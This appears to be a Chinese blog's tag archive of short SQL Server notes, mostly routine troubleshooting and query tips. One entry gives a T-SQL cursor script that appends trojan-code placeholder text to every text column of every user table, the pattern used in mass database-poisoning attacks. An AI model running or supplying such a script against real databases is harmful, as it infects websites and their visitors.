Tag Archives: sql server

在windows xp上面安装sqlserver 2000企业版/标准版是无法成功的,这个并不是技术局限,只是微软的政策限制,不允许在桌面机上面安装企业版/标准版。网上流传的xp安装企业版的我也尝试了,最后安装的是sqlserver 2000 desktop engine。 其实不用迷信企业版,开发版和企业版的功能一样,只是license的问题,参考此文。 sql server 2000各个版本的区别参看此文。 Topic last updated — January 2004 Microsoft® SQL Server™ 2000 is available in these editions: SQL Server 2000 Enterprise Edition Used as a production database server. Supports all features available … Continue reading

Posted on by tunpishuang | Leave a comment

[Microsoft][ODBC SQL Server Driver][DBNETLIB]无效的连接。

公司某客户的网站打开报错: Microsoft OLE DB Provider for ODBC Drivers 错误 ’80004005′ [Microsoft][ODBC SQL Server Driver][DBNETLIB]无效的连接。 /conn.asp,行 8 下载conn.asp查看代码: Set conn=Server.Createobject(“adodb.connection”)conn.Open “driver={SQL server};Server=(1.1.1.1:1433);uid=x;pwd=x;database=x;” 检查了数据库的用户名和密码都没有问题,然后开始突然怀疑是不是指定服务器地址的问题。因为在以前的经验中sqlserver需要通过一定的配置才能远程连接。而且web和数据库在同一个机器上,所以我尝试将 1.1.1.1:1433 换成 local ,也就是: conn.Open “driver={SQL server};Server=(local);uid=x;pwd=x;database=x;” 结果网站顺利打开。

Tagged | 1 Comment

SQL Server 数据库挂马

DECLARE @T varchar(8000) DECLARE @C varchar(8000) DECLARE cur CURSOR FOR Select a.name,b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35) OPEN cur FETCH NEXT FROM cur INTO @T,@C WHILE(@@FETCH_STATUS=0)     BEGIN     exec('update ['+@T+'] set ['+@C+']=convert(varchar(8000),['+@C+'])+''挂马代码''')     FETCH … Continue reading

Tagged | 1 Comment

SQL Server查询表结构

来源:http://yangrenjun.javaeye.com/blog/611937 SELECT DISTINCT sysobjects.name, syscolumns.colid,syscolumns.name, systypes.name, syscolumns.prec, syscolumns.scale FROM syscolumns, sysobjects, systypes WHERE sysobjects.id = syscolumns.id AND systypes.type = syscolumns.type AND ((sysobjects.type='u')) 在应用SQL Server的基于客户机/服务器体系结构的信息系统开发中, 有时需 要将后台SQL Server上的某一数据库的表结构都打印出来, 以便于开发人员查阅及最终文档的形成。SQL Server本身提供了一个系统存储过程 (SP_COLUMNS), 可以完成对单个表结构的查询,只要在SQL Server的ISQL-W工具中键入SP_COLUMNS “表名”, 并 执行即 可得到结果集。但该方法有许多不足之处,其主要缺点是: 1) 只能对单表进行操作,当需要查询一个数据库中所有的表时,需要多次执行SP_COLUMNS ,因此显得非常繁琐。 2) … Continue reading

Tagged | Leave a comment

SQL Server追加(附加)字符串到表中某text字段的所有行

text类型的字段不能像varchar一样直接通过'+'运算符来附加,需要使用updatetext语句,下面是一个实例: declare @p binary(16),@c1 varchar(8000) set @c1='待附加的字符串' declare 表名 cursor local for select textptr(字段名),@c1 from 表名 open 表名 fetch 表名 into @p,@c1 while @@fetch_status=0 begin     UPDATETEXT 表名.字段名 @p null 0 @c1     fetch 表名 into @p,@c1 end close 表名 deallocate 表名 … Continue reading

Tagged | 1 Comment

SQL Server 中的dbo是什么意思?

DBO是每个数据库的默认用户,具有所有者权限,即DbOwner 通过用DBO作为所有者来定义对象,能够使数据库中的任何用户引用而不必提供所有者名称。 比如:你以User1登录进去并建表Table,而未指定DBO, 当用户User2登进去想访问Table时就得知道这个Table是你User1建立的,要写上User1.Table,如果他不知道是你建的,则访问会有问题。 如果你建表时把所有者指给了Dbo,则别的用户进来时写上Dbo.Table就行了,不必知道User1。 不光表是如此,视图等等数据库对象建立时也要如此才算是好。 建表、存储过程、视图等数据库对象时,其对应的所有者是创建它的用户。则除了该用户其他登录用户要引用这些东东时,都要加上前缀,很是麻烦。而且,程序因此易出错,你查来查去问题确出在这,浪费你时间。 来源

Tagged | Leave a comment

错误602:未能在sysindexes中找到数据库ID8中对象ID1的索引ID1对应的行,请对sysindexes运行 DBCC CHECKTABLE。

解决: 请不要把sqlserver 2005的数据库文件附加到sqlserver 2000。囧。

Tagged | Leave a comment

windows 不能在 本地计算机 启动 SQL SERVER (MSSQLSERVER)。有关更多信息,查阅系统事件日志。如果这是非MICROSOFT 服务,请与服务厂商联系,并参考特定服务错误代码 3417.

这个问题的解决方法是: 右击sqlserver服务,“属性”,“登录”选项卡,将"登录身份"改为“本地系统帐户”。

Tagged | 1 Comment